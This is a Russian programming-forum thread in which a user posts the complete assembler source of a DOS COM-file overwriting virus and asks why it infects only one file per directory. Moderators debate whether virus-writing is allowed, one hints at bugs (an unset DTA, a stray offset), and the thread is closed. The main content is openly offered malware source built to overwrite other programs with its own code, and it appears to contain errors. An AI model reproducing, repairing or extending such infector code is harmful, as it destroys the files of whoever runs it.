Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 19.08.2016, 13:14   #1
Proty
Новичок
Джуниор
 
Регистрация: 19.08.2016
Сообщений: 1
По умолчанию Неправильная работа вируса

Написал вирус. Задача: затирать код COM-программ и заменять его кодом вируса. Поиск COM-программ осуществляется в текущем каталоге. За 1 раз программа должна заражать 1 файл. Один раз заразить один и тот же файл невозможно, так как у всех зараженных файлов по смещению 102h находится 5566h. Т.е. если данный файл не подходит для заражения, то мы ищем следующий. Однако перемещая программу(virus.com) в каталог с двумя(или более) файлами, он заражает только один. При повторном запуске заражение остальных файлов не происходит.
Думаю, что не работает программа именно в этом месте:

Код:
Inf_file:
     call Infect_file
     jnc Nomore_files
     call Find_next
     jnc Inf_file
Потому что, проследив работу программы в отладчике, я вижу, что каждый раз функция Find_next не находит других файлов в каталоге. Помогите, пожалуйста, и объясните ошибку, почему не ищутся и не заражаются другие файлы(и да, конструкция вируса снята с Калашникова). Вот код:

Код:
.286
CSEG segment
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
 
Begin:
     jmp Init
     dw 5566h
     nop
     nop
     nop
     nop
     nop
     int 20h
 
Find_first proc
     mov ah, 4Eh
     xor cx, cx
     mov dx, offset Mask_file
     int 21h
     ret
Mask_file db '*.com',0
Find_first endp
 
Find_next proc
     mov ah, 4Fh
     xor cx, cx
     mov dx, 80h
     int 21h
     ret
Find_next endp
 
Open_file proc
     mov ax, 3D02h
     mov dx, 9Eh
     int 21h
     mov bx, ax
     mov Handle, ax
 
     ret
Handle dw 0FFFFh
Open_file endp
 
Close_file proc
     cmp Handle, 0FFFFh
     je No_close
     mov bx, Handle
     mov ah, 3Eh
     int 21h
No_close:
     ret
Close_file endp
 
Infect_file proc
     call Open_file
     jc Error_Infect
 
     mov ah, 40h
     mov cx, 4
     mov dx, offset Finish
     int 21h
     jc Error_Infect
 
     mov bx, dx
     cmp word ptr [bx+2], 5566h
     je Error_Infect
 
     call Close_file
     jc Error_Infect
     call Open_file
     jc Error_Infect
 
     mov ah, 40h
     mov cx, offset Finish-100h
     mov dx, offset Begin
     int 21h
     jc Error_Infect
 
     call Close_file
     clc
     ret
 
Error_Infect:
     stc
     ret
Infect_file endp
 
Init:
     call Find_first
     jc Nomore_files
Inf_file:
     call Infect_file
     jnc Nomore_files
     call Find_next
     jnc Inf_file
Nomore_files:
     push 102h
     ret
 
Finish equ $
 
CSEG ends
end Begin
_____
Код программы нужно выделять (форматировать) тегами [CODE] (читать FAQ)
Модератор

Последний раз редактировалось Serge_Bliznykov; 19.08.2016 в 13:17.
Proty вне форума
Старый 19.08.2016, 13:22   #2
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 19,042
По умолчанию

Обсуждение вирусописания на форуме не предусмотрено
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума
Старый 19.08.2016, 13:23   #3
Serge_Bliznykov
Старожил
 
Регистрация: 09.01.2008
Сообщений: 26,238
По умолчанию

Цитата:
Однако перемещая программу(virus.com) в каталог с двумя(или более) файлами, он заражает только один.
позвольте задать дурацкий вопрос, с двумя и более COM файлами ? У Вас в каталоге именно COM файлы?


p.s. программу не смотрел, я в уме ассемблерный код отлаживать не умею, а виртуалки и отладчика под руками нет...


Аватар, ну, это же явно учебная задача.
Тут уже на форуме были подобные темы.
Впрочем, пусть Alar решает - быть или не быть тут этой теме.
Serge_Bliznykov вне форума
Старый 19.08.2016, 13:32   #4
Serge_Bliznykov
Старожил
 
Регистрация: 09.01.2008
Сообщений: 26,238
По умолчанию

ещё. где Вы устанавливаете адрес DTA ?

и что это за код:
Цитата:
Код:
Open_file proc
     mov ax, 3D02h
     mov dx, 9Eh
     int 21h
что за волшебную константу 9Eh Вы заносите в dx?
Serge_Bliznykov вне форума
Старый 19.08.2016, 18:27   #5
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 19,042
По умолчанию

Цитата:
ну, это же явно учебная задача
Серж, а что от этого меняется? Вирус, хоть и учебный, он и в африке вирус. Тем более с кодом
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума
Старый 19.08.2016, 18:48   #6
Alar
Александр
Администратор
 
Аватар для Alar
 
Регистрация: 28.10.2006
Сообщений: 17,758
По умолчанию

ну так для начала надо научиться не "вирусно" называть темы.
Alar вне форума
Старый 19.08.2016, 23:55   #7
Serge_Bliznykov
Старожил
 
Регистрация: 09.01.2008
Сообщений: 26,238
По умолчанию

Цитата:
Сообщение от Alar Посмотреть сообщение
ну так для начала надо научиться не "вирусно" называть темы.
угу. точно. И в этом главная ошибка автора темы!

Цитата:
Сообщение от Аватар
Серж, а что от этого меняется? Вирус, хоть и учебный, он и в африке вирус. Тем более с кодом
Меняется многое.
Это же не зловредная программа, а программа для изучения создания таких программ.

Есть даже книжки, посвящённые этому:
на озоне, например
Игорь Гульев.Создаем вирус и антивирус

Петр Хижняк. Пишем вирус и антивирус

Следующим шагом будет идти создание антивируса для данного вируса.

Ну и ещё. я бы ещё понял, если тут был реальный код под Win.
Он может попасть в чужие шаловливые ручки и реально принести вред.
Но DOS код, да ещё и формата COM. в нынешних реалиях это так же опасно, как муляж автомата Калашникова, сделанный из фанеры.
Ну или рецепт "бомбы" из пачки соды и бутылки уксуса!

Впрочем, тема закрыта. Alar явно согласен с тем, что тема закрыта.
я больше никаких вопросов не имею. Нет, значит, нет.
Serge_Bliznykov вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Неправильная работа gets() (C++) FoxyFire Помощь студентам 12 25.09.2015 00:10
неправильная работа програмы 3Doleg Общие вопросы C/C++ 3 23.09.2013 20:10
неправильная работа программы... fkty Помощь студентам 4 05.06.2013 16:20
ADOTable неправильная работа. Spaun Помощь студентам 1 23.06.2010 10:12
Неправильная работа switch в while konstantinopol Общие вопросы C/C++ 3 24.01.2009 03:51